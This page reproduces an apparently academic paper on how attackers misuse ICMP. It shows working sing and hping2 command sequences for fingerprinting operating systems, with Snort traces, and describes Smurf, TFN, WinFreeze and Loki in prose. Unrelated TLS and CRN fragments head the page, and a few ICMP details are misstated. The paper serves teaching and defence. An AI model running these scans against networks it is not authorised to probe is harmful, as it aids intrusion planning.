Authentication, Hijacks VPN Sessions - Page: 1 | CRN

[h=1]The Transport Layer Security (TLS) Protocol Version 1.3[/h] Abstract This document specifies Version 1.3 of the Transport Layer Security (TLS) protocol. The TLS protocol provides communications security over the Internet. The protocol allows client/server applications to communicate in a way that is designed to prevent eavesdropping, tampering, or message forgery. Sursa: draft-ietf-tls-rfc5246-bis-00 - The Transport Layer Security (TLS) Protocol Version 1.3

How can attacker use ICMP for reconnaissance? By: KoonYaw Tan 1. Introduction RFC 792 spelt out the goals and specifications of the Internet Control Message Protocol (ICMP). Basically, it is used as a means to send error messages for non-transient error conditions and to provide a way to query the network in order to determine the general characteristic of the network. The Internet Protocol (IP) is not designed to be absolutely reliable. The purpose of the ICMP messages is to provide feedback about problems in the communication environment, not to make IP reliable. There are still no guarantees that a datagram will be delivered or a control message will be returned. Some datagrams may still be undelivered without any report of their loss. The higher level protocols that use IP must implement their own reliability procedures if reliable communication is required. ICMP uses the basic support of IP as if it were a higher level protocol. However, ICMP is actually an integral part of IP and must be implemented by every IP module. ICMP suppose to be a relatively simple protocol, but it can be altered to act as a conduit for evil purpose. It is therefore important to understand how this protocol can be used for malicious purposes. This assignment examines how ICMP can be used in a non-convention way, putting itself as a potential threat. We will concentrate on the use of ICMP in a non-convention way rather than the normal use of ICMP. 2. Understanding ICMP Conventionally, ICMP is provided as a means to send error messages for non-transient error conditions and to provide a way to query the network. ICMP is used for two types of operations: Reporting non-transient error conditions (ICMP Error Messages). Query the network with request and reply (ICMP Query Messages). Unlike TCP and UDP, ICMP has no port numbers. ICMP uses type and code to differentiate the services in the protocol. Also in ICMP, there is no client-server concept. When an ICMP error message is delivered, the receiving host might respond internally but might not communicate back to the informer. Services and ports do not have to be activated or listening. ICMP can be broadcast to many hosts because there is no sense of an exclusion connection. RFC 792 defined special conditions for the ICMP messages: No ICMP error messages are sent in response to ICMP error messages to avoid infinite repetition. For fragmented IP datagrams, ICMP messages are only sent for errors on fragmented zero (the first fragment). ICMP error messages are never sent in response to a datagram that is destined to a broadcast or a multicast address. ICMP error messages are never sent in response to a datagram sent as a link layer broadcast. ICMP error messages are never sent in response to a datagram whose source address does not represents a unique host (the source address cannot be zero, a loopback address, a broadcast address or a multicast address). ICMP error messages are never sent in response to an IGMP message of any kind. When an ICMP message of unknown type is received, it must be silently discarded. Routers will almost always generate ICMP messages but when it comes to a destination host, the number of ICMP messages generated is implementation dependent. The ICMP has many messages that are identified by a “type” field. For each “type” field, there may also be a “code” field which acts as a sub-type. For example, echo reply has a type of 0 and code of 0 while echo request has a type of 0 and code of 8. The list of ICMP types and codes is available at: target="_blank">http://www.iana.org/assignments/icmp-parameters 3. Normal use of ICMP The Internet Control Message Protocol (ICMP) is used to handle errors and exchange control messages. ICMP can be used to determine if a machine on the Internet is responding. To do this, an ICMP echo request packet is sent to a machine. If a machine receives that packet, that machine will return an ICMP echo reply packet. A common implementation of this process is the "ping" command, which is included with many operating systems and network software packages. ICMP is used to convey status and error information including notification of network congestion and of other network transport problems. ICMP can also be a valuable tool in diagnosing host or network problems. Other RFCs have defined other functionalities for the ICMP: RFC 896 – Source Quench. RFC 950 – Address Mask Extensions. RFC 1191 – Path MTU Discovery. RFC 1256 – Router Discovery. RFC 1349 –Type of Service in the Internet Protocol Suite. 4. Use of ICMP – In a Non-Convention Way Ping traffic is ubiquitous to almost every TCP/IP based network and sub-network. It has a standard packet format recognized by every IP-speaking router and is used universally for network management, testing, and measurement. As such, many firewalls and networks consider ping traffic to be benign and will allow it to pass through. ICMP can be altered to act as conduit for evil purposes. Some of the ways that ICMP can be used for purposes other than the intended ones are: Reconnaissance Denial of Service Covert Channel 4.1 Reconnaissance Reconnaissance is the first stage in the information gathering process to discover live hosts and some other essence information as part of most planned attack. ICMP messages are broadly categorized into two kinds: [TABLE=width: 90%, align: center] [TR] [TD=class: h5invert, colspan: 2, align: center]ICMP Messages[/TD] [/TR] [TR] [TD=class: h3invert, width: 50%, align: center]ICMP Query Messages[/TD] [TD=class: h3invert, width: 50%, align: center]ICMP Error Messages[/TD] [/TR] [TR] [TD] Echo Request and Echo Reply Time Stamp Request and Reply Information Request and Reply Address Mask Request and Reply[/TD] [TD] Destination Unreachable Source Quench Redirect Time Exceeded Parameter Problem[/TD] [/TR] [/TABLE] By manipulating these ICMP messages, we are able to gather substantial information in the process of information gathering: Host Detection Network Topology ACL Detection Packet Filter Detection OS Fingerprinting 4.1.1 Host Detection and Network Topology By using ICMP message, it allows one to identify hosts that are reachable, in particular from the Internet. Traceroute attempts to map network devices and hosts on a route to a certain destination host. Intelligence use of it will allow one to map the topology of a network. 4.1.2 Access Control List (ACL) Detection ICMP Error Messages may help to determine the kind ACL of the filtering device is being used and allow one to choose the tactics accordingly. The idea is to manipulate the total length of the IP Header Field. A crafted packet with total length in the IP Header Filed claiming to be bigger than really what it is. When this packet reaches the host, it will try to grab the data from the area, which is not there. The host will thus issue an ICMP Parameter Problem back to the querying IP address. If there is a packet filtering device present and we probe a targeted network with all possible combination of protocols and services, it will allow us to determine the access control list of the filtering device (which host is allowed to received what type of traffic). The crafted packet can use ICMP, TCP or UDP as the underlying protocols. 4.1.3 Protocol/Port Scan ICMP Error Messages (Protocol/Port Unreachable) are the common ways to determine what type of protocols/ports the host is running. Nmap 2.54 beta 1 has integrated the Protocol Scan. It sends raw IP packets without any further protocol header (no payload) to each specified protocol on the target machine. If an ICMP Protocol Unreachable error message is received, the protocol is not in used. 4.1.4 OS Fingerprinting Using ICMP for OS Fingerprinting requires less traffic initiation from the malicious person machine to the target host. The idea is “Which operating system answer what kind of ICMP Query messages”. This is possible because different OS implement differently. Some do not compliant strictly to RFC, while RFC may also optional. Fingerprinting of OS can be achieved via the following: Using ICMP Query Messages Using ICMP Error Messages The ICMP Echo Request/Reply pair was intended to determine whether a host is alive or not. Negative response will either mean it is not alive or ICMP Echo traffic is filtered by a packet filtering device. The ICMP Information Request/Reply pair was intended to support self-configuring systems such as diskless workstations at boot time to allow them to discover their network address. The ICMP Time Stamp Request/Reply pair allows a host to query another for the current time. This allows a sender to determine the amount of latency that a particular network is experiencing. Most operation systems implemented the ICMP Time Stamp Request/Reply. The ICMP Address Mask Request/Reply pair was intended for diskless systems to obtain its subnet mask in use on the local network at bootstrap time. It is also used when a host wants to know the address mask of an interface. RFC 1122 states that the Address Mask is optional. At times, the ICMP Error Messages revealed substantial information about the host or network. For example, receiving a Protocol Unreachable will reveal that the host is alive and that particular protocol queried is not supported. By manipulating certain field in the query, we can generate several ICMP Error Messages. In [1], the author has done a comprehensive research on the use of ICMP in OS fingerprinting. Based on the nature of the different implementation of OS, substantiate information can be gathered using different techniques in manipulating the ICMP messages and observe the response of the target host. The techniques are listed below: Response on ICMP Query Messages Types on a targeted host Response on ICMP Query Messages Types on a broadcast address IP TTL value on the ICMP Messages (Request and Reply) Response on ICMP Query Messages with Code Field ? 0 Response on the ICMP Query Messages with Precedence Bits value ? 0 Response on the ICMP Query Messages with TOS value ? 0 Response on the ICMP Query Messages with TOS unused bit = 1 Response on the ICMP Query Messages with Reserved Bit Flag = 1 Response on the ICMP Query Messages with DF set ICMP Error Message echoing integrity with ICMP Port Unreachable Error Message A detailed tabulation can be obtained in [1]. We extracted some results and conduct some fingerprint on the following operating systems: Solaris Linux Windows Family (Win 98/NT/2000) 4.1.4.1 Fingerprinting HPUX 10.20, Solaris and Linux Figure 1 shows an example the technique of fingerprinting HPUX 10.20, Solaris and Linux operating systems. Using SING tool [9], we run through the process of fingerprinting: ICMP Time Stamp Request targeted at broadcast address: We first generated an ICMP Time Stamp Request to the whole segment x.x.x.255. # sing -tstamp x.x.x.255 SINGing to x.x.x.255 (x.x.x.255): 20 data bytes 20 bytes from x.x.x.64: seq=0 ttl=255 TOS=0 diff=88364 20 bytes from x.x.x.215: seq=0 ttl=255 TOS=0 diff=0 (DUP!) 20 bytes from x.x.x.1: seq=0 ttl=255 TOS=0 diff=51332009 (DUP!) 20 bytes from x.x.x.2: seq=0 ttl=255 TOS=0 diff=55541589 (DUP!) 20 bytes from x.x.x.239: seq=0 DF! ttl=255 TOS=0 diff=-127012 (DUP!) Note that x.x.x.1 and x.x.x.2 is the network switch devices which we will not discussed here. Also x.x.x.215 is the IP address of the machine running sing and hping2 tools. x.x.x.64 and x.x.x.239 response to the ICMP Time Stamp Request targeted at broadcast address x.x.x.255. Note that their responded TTL is 255, which is a typically response TTL from Unix system. These two machines could then be Sun Solaris, Linux or HPUX 10.20. The Snort trace: 07/26-09:33:46.281306 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x36 x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST 23 31 00 00 00 55 D9 A9 00 00 00 00 00 00 00 00 #1...U.......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:33:46.281488 0:50:BA:C0:61:99 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.64 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:55 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY 23 31 00 00 00 55 D9 A9 00 57 32 D5 00 57 32 D5 #1...U...W2..W2. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:33:46.282107 8:0:20:FD:AE:90 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.239 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:38831 IpLen:20 DgmLen:40 DF Type:14 Code:0 TIMESTAMP REPLY 23 31 00 00 00 55 D9 A9 00 53 E9 85 00 53 E9 85 #1...U...S...S.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Information Request targeted at broadcast address We then generated an ICMP Information Request to the same segment x.x.x.255. # sing -info x.x.x.255 SINGing to x.x.x.255 (x.x.x.255): 8 data bytes --- x.x.x.255 sing statistic --- 200 packets transmitted, 0 packets received, 100% packet loss No machine response to this request. We can conclude that x.x.x.64 and x.x.x.239 is either Sun Solaris or Linux machine. The Snort trace: 07/26-09:43:56.721478 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x2A x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:28 Type:15 Code:0 INFO REQUEST 49 31 00 00 I1.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:43:57.713811 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x2A x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:28 Type:15 Code:0 INFO REQUEST 49 31 01 00 I1.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Address Mask Request targeted at single host Lastly, we generated an ICMP Address Mask Request to the two specific IP addresses, x.x.x.64 and x.x.x.239: # sing -mask x.x.x.64 SINGing to x.x.x.64 (x.x.x.64): 12 data bytes --- x.x.x.64 sing statistics --- 10 packets transmitted, 0 packets received, 100% packet loss x.x.x.64 did not response. We can therefore conclude that x.x.x.64 is a Linux machine. The Snort trace: 07/26-09:49:06.544282 0:80:C7:C0:E2:DB -> 0:50:BA:C0:61:99 type:0x800 len:0x2E x.x.x.215 -> x.x.x.64 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST 5F 31 00 00 00 00 00 00 _1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Address Mask Request to x.x.x.239: # sing -mask x.x.x.239 SINGing to x.x.x.239 (x.x.x.239): 12 data bytes 12 bytes from x.x.x.239: seq=0 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=1 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=2 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=3 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=4 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=5 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=6 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=7 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=8 DF! ttl=255 TOS=0 mask=255.255.255.0 --- x.x.x.239 sing statistics --- 9 packets transmitted, 9 packets received, 0% packet loss x.x.x.239 response to Address Mask Request. It is therefore running Sun Solaris. The Snort trace: 07/26-09:48:52.177080 0:80:C7:C0:E2:DB -> 8:0:20:FD:AE:90 type:0x800 len:0x2E x.x.x.215 -> x.x.x.239 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST 5E 31 00 00 00 00 00 00 ^1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:48:52.177292 8:0:20:FD:AE:90 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.239 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:38853 IpLen:20 DgmLen:32 DF Type:18 Code:0 ADDRESS REPLY 5E 31 00 00 FF FF FF 00 ^1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 4.1.4.2 Fingerprinting Windows Family (95/98/ME/NT/20000) Figure 2 shows an example of fingerprinting the Windows Family. We run through the process of fingerprinting using NMAP [11], HPING2 [10] and SING [9]. Windows Family typically response ICMP Echo Reply with a TTL value of 128. The first thing will then to determine the live host with ICMP ECHO Reply of TTL = 128. By using nmap, three IP addresses are identify with TTL ~ 128: Machine 1: x.x.x.41 Machine 2: x.x.x.183 Machine 3: x.x.x.69 Using the above methodology, for machine 1 (x.x.x.41), we have: ICMP Echo Request with Code Field ? 0 We first send a ICMP Echo Request with Code Field ? 0 (Value = 77) # hping2 -1 -c 1 -K 77 x.x.x.41 HPING x.x.x.41 (eth0 x.x.x.41): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.41: icmp_seq=0 ttl=128 id=29120 rtt=1.8 ms It responded with Code field = 0. Therefore, it belongs to Windows Family. Snort trace: 07/26-16:23:28.745427 x.x.x.215 -> x.x.x.41 ICMP TTL:64 TOS:0x0 ID:46193 IpLen:20 DgmLen:28 Type:8 Code:77 ID:61445 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:23:28.746064 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:29120 IpLen:20 DgmLen:28 Type:0 Code:0 ID:61445 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request We next send an ICMP Time Stamp Request. # sing -tstamp -c 1 x.x.x.41 SINGing to x.x.x.41 (x.x.x.41): 20 data bytes 20 bytes from x.x.x.41: seq=0 ttl=128 TOS=0 diff=1650412099* It also responded. It can then be Windows 98, ME or 2000. Snort trace: 07/26-16:23:46.368947 x.x.x.215 -> x.x.x.41 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST F1 05 00 00 01 CD 37 C0 00 00 00 00 00 00 00 00 ......7......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:23:46.369418 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:29376 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY F1 05 00 00 01 CD 37 C0 E4 2C 82 03 E4 2C 82 03 ......7..,...,.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Echo Request with TOS Unused Bit = 1 We next send an ICMP Echo Request with TOS Unused Bit = 1. # hping2 -1 -o 1 -c 1 x.x.x.41 HPING x.x.x.41 (eth0 x.x.x.41): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.41: icmp_seq=0 ttl=128 id=29632 rtt=0.8ms It replied with the same TOS value. As Windows 2000 will reply with a TOS value of 0, we can conclude that this machine can be either Windows 98 or ME. Snort trace: 07/26-16:24:04.098715 x.x.x.215 -> x.x.x.41 ICMP TTL:64 TOS:0x1 ID:4907 IpLen:20 DgmLen:28 Type:8 Code:0 ID:61957 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:24:04.099161 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x1 ID:29632 IpLen:20 DgmLen:28 Type:0 Code:0 ID:61957 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Address Mask Request Finally, we check the response when requesting the address mask. # sing -mask -c 1 x.x.x.41 SINGing to x.x.x.41 (x.x.x.41): 12 data bytes 12 bytes from x.x.x.41: seq=0 ttl=128 TOS=0 mask=255.255.255.0 It responded. So we can conclude this machine is Windows 98. Snort trace: 07/26-16:24:32.851707 x.x.x.215 -> x.x.x.41 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST F3 05 00 00 00 00 00 00 ........ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:24:32.852143 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:30400 IpLen:20 DgmLen:32 Type:18 Code:0 ADDRESS REPLY F3 05 00 00 FF FF FF 00 ........ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ For machine 2 (x.x.x.183): ICMP Echo Request with Code Field ? 0 When an ICMP Echo Request with Code Field = 77 is send to this machine, it responded with Code Field = 0, suggesting that it belongs to the Windows Family. # hping2 -1 -c 1 -K 77 x.x.x.183 HPING x.x.x.183 (eth0 x.x.x.183): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.183: icmp_seq=0 ttl=119 id=7030 rtt=17.8 ms Snort trace: 07/26-16:07:06.186426 x.x.x.10 -> x.x.x.183 ICMP TTL:64 TOS:0x0 ID:37429 IpLen:20 DgmLen:28 Type:8 Code:77 ID:56325 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:07:06.203810 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7030 IpLen:20 DgmLen:28 Type:0 Code:0 ID:56325 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request It also responded to ICMP Time Stamp Request, suggesting that it can be Windows 98, ME or 2000. # sing -tstamp -c 1 x.x.x.183 SINGing to x.x.x.183 (x.x.x.183): 20 data bytes 20 bytes from x.x.x.183: seq=0 ttl=119 TOS=0 diff=1247439485* Snort trace: 07/26-16:07:29.668839 x.x.x.10 -> x.x.x.183 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST DD 05 00 00 01 BE 50 84 00 00 00 00 00 00 00 00 ......P......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:07:29.683450 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7032 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY DD 05 00 00 01 BE 50 84 CC 18 BB 01 CC 18 BB 01 ......P......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Echo Request with TOS Unused Bit = 1 When it received an ICMP Echo Request with TOS Unused Bit = 1, it responded with TOS Unused Bit = 0. Therefore, we concluded that it is a Windows 2000 machine. # hping2 -1 -o 1 -c 1 x.x.x.183 HPING x.x.x.183 (eth0 x.x.x.183): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.183: icmp_seq=0 ttl=119 id=7060 rtt=187.4 ms Snort trace: 07/26-16:08:06.142181 x.x.x.10 -> x.x.x.183 ICMP TTL:64 TOS:0x1 ID:56666 IpLen:20 DgmLen:28 Type:8 Code:0 ID:56837 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:08:06.329204 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7060 IpLen:20 DgmLen:28 Type:0 Code:0 ID:56837 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Finally for machine 3 (x.x.x.69): ICMP Echo Request with Code Field ? 0 It responded to an ICMP Echo Request with Code Field ? 0, confirming that it belongs to Windows Family. # hping2 -1 -c 1 -K 77 x.x.x.69 HPING x.x.x.69 (eth0 x.x.x.69): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.69: icmp_seq=0 ttl=128 id=58126 rtt=2.2 ms Snort trace: 07/26-16:37:25.892705 x.x.x.215 -> x.x.x.69 ICMP TTL:64 TOS:0x0 ID:11485 IpLen:20 DgmLen:28 Type:8 Code:77 ID:64005 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:37:25.893486 x.x.x.69 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:58126 IpLen:20 DgmLen:28 Type:0 Code:0 ID:64005 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request When ICMP Time Stamp Request is sent to it, this time, it did not respond. Using the methodology, we concluded that it can be either a Windows 95 or Windows NT. # sing -tstamp x.x.x.69 SINGing to x.x.x.69 (x.x.x.69): 20 data bytes --- x.x.x.69 sing statistic --- 86 packets transmitted, 0 packets received, 100% packet loss Snort trace: 07/26-16:37:46.867499 x.x.x.215 -> x.x.x.69 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST FB 05 00 00 01 DA 0A F3 00 00 00 00 00 00 00 00 ................ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ We thus see that intelligence use of ICMP Messages could reveal substantial information about a host. 4.2 Denial of Service (DoS) Using ICMP as a means to cause DoS is not new. CERT/CC has issued an advisory on Denial of Service via Ping in 1996 (CA-1996-26). Ping of Death is one of the common uses of ICMP to cause a machine to crash. Here we mentioned some other well-known DoS using ICMP as a means. 4.2.1 Smurf DoS The infamous Smurf attack preys on ICMP’s capability to send traffic to the broadcast address. Many hosts can listen and response to a single ICMP echo request sent to a broadcast address. This capability is used to execute a DoS attack. The two main components to the smurf denial-of-service attack are the use of forged ICMP echo request packets and the direction of packets to IP broadcast addresses. In the "smurf" attack, attackers are using ICMP echo request packets directed to IP broadcast addresses from remote locations to generate denial-of-service attacks. There are three parties in these attacks: the attacker, the intermediary, and the victim (note that the intermediary can also be a victim). The intermediary receives an ICMP echo request packet directed to the IP broadcast address of their network. If the intermediary does not filter ICMP traffic directed to IP broadcast addresses, many of the machines on the network will receive this ICMP echo request packet and send an ICMP echo reply packet back. When (potentially) all the machines on a network respond to this ICMP echo request, the result can be severe network congestion or outages. When the attackers create these packets, they do not use the IP address of their own machine as the source address. Instead, they create forged packets that contain the spoofed source address of the attacker's intended victim. The result is that when all the machines at the intermediary's site respond to the ICMP echo requests, they send replies to the victim's machine. The victim is subjected to network congestion that could potentially make the network unusable. More detailed description of Smurf attack can be found in [5]. 4.2.2 Tribe Flood Network (TFN) The Tribe Flood Network (TFN) attack is another DoS attack that uses ICMP for communication. TFN is made up of client and daemon programs, which implement a distributed network denial of service tool capable of waging ICMP flood, SYN flood, UDP flood, and Smurf style attacks. The attacker(s) control one or more clients, each of which can control many daemons. The daemons are all instructed to coordinate a packet-based attack against one or more victim systems by the client. Communication from the TFN client to daemons is accomplished via ICMP Echo Reply packets. Each "command" to the daemons is sent in the form of a 16-bit binary number in the ID field of an ICMP Echo Reply packet (The sequence number is a constant 0x0000, which would make it look like the response to the initial packet sent out by the "ping" command). This is to prevent the kernel on the daemon system from replying with an ICMP Echo Reply packet. The daemon then responds (if need be) to the client(s), also using an ICMP Echo Reply packet. The payload differs with TFN, as it is used for sending command arguments and replies. Some network monitoring tools do not show the data portion of ICMP packets, or do not parse all of the various ICMP type-specific fields, so it may be difficult to actually monitor the communication between client and daemon. A detailed analysis of TFN can be found in [6]. 4.2.3 WinFreeze WinFreeze is a DoS attack against Windows. A small exploit code that can cause a Windows 9x/NT box on the local LAN to freeze completely. The program initiates ICMP/Redirect-host messages storm that appears to come from a router (by using the router's IP). The Windows machine will receive redirect host messages causing it to change its own routing table. This will make it get stuck, or operate very slowly until a reboot is done. 4.3 Covert Channel Many firewalls and networks consider ping traffic to be benign and will allow it to pass through. Use of ping traffic can open up covert channels through the networks in which it is allowed. 4.3.1 Loki The concept of the Loki is simple: arbitrary information tunneling in the data portion of ICMP Echo Request and ICMP Echo Reply packets. Loki exploits the covert channel that exists inside of ICMP Echo traffic. ICMP Echo packets have the option to include a data section. This data section is used when the record route option is specified, or, the more common case, (usually the default) to store timing information to determine round-trip times. Although the payload is often timing information, there is no check by any device as to the content of the data. So, as it turns out, this amount of data can also be arbitrary in content as well. Therein lies the covert channel. Most network devices do not filter the contents of ICMP Echo traffic. They simply pass them, drop them, or return them. The trojan packets themselves are masqueraded as common ICMP Echo traffic. If a host is compromised and a Loki server is installed, it can response to traffic send to it by a Loki client. Because the programs use ICMP Echo Reply packets for communication, it will be very difficult (if not impossible) to block it without breaking most Internet programs that rely on ICMP. With a proper implementation, the channel can go completely undetected for the duration of its existence. Detection can be difficult. If you know what to look for, you may find that the channel is being used on your system. However, knowing when to look, where to look, and the mere fact that you should be looking all have to be in place. A surplus of ICMP Echo Reply packets with a garbled payload can be ready indication the channel is in use. More information on the Loki project can be obtained in [7]. 5. Filtering ICMP Traffic and the Challenge for the IDS Network devices requires ICMP Messages for communications. ICMP is a protocol that is supposed to be used to alert hosts of problem conditions or exchange messages. However, using it in a malicious manner allows one to dig out host information and network topology. To use a Network Intrusion Detection System to actively monitor the network for malicious ICMP traffic is laborious. Given this, appropriate filtering of ICMP traffic should be done to minimize the potential threat. It is therefore important to understanding how operating systems response to ICMP Messages. This will allow us to determine what type of ICMP Messages should only be allow in and out of the network. With appropriate configuration of the packet filtering device to block unnecessary ICMP Messages, potential threats resulting from ICMP Messages can be reduced. This, however, should be done wisely and selectively. For example, incoming “ICMP Error Message, Fragmentation Needed but Don’t Fragment Set”, will be necessary to inform the internal host on such errors and to adjust the datagrams accordingly. Even with proper filtering of ICMP traffic, NIDS should still be deployed to monitor the kind of ICMP activities. The challenge of the NIDS will be have accurate signatures to detect malicious ICMP traffic. Host-based IDS is another option. Nevertheless, it still needs “inputs” to monitor the traffic accurately. Ultimately, human will be required to perform the final analysis of the IDS detects to determine whether detects are legitimate or hostile. References: [1] Ofir Arkin, ICMP Usage in Scanning – The Complete Know How, ??????????? [2] Stephen Northcutt and Judy Novak, Network Intrusion Detection [3] ICMP Parameters Internet Control Message Protocol (ICMP) Parameters [4] RFC 792 Internet Control Message Protocol http://www.ietf.org/rfc/rfc0792.txt [5] Craig Huegen, The Latest in Denial of Service Attacks: 'Smurfing': Description and Information to Minimize Effects, http://www.pentics.net/denial-of-service/white-papers/smurf.cgi [6] David Dittrich, The “Tribe Flood Network” Distributed Denial of Service Attack Tool, http://staff.washington.edu/dittrich/misc/tfn.analysis [7] Loki Project, http://www.phrack.org/show.php?p=49&a=6 [8] RFC 1122 Requirements for Internet Hosts – Communication Layers, http://www.ietf.org/rfc/rfc1122.txt [9] SING utility, SING | Free System Administration software downloads at SourceForge.net [10] HPING2 utility, hping2 | Free Home & 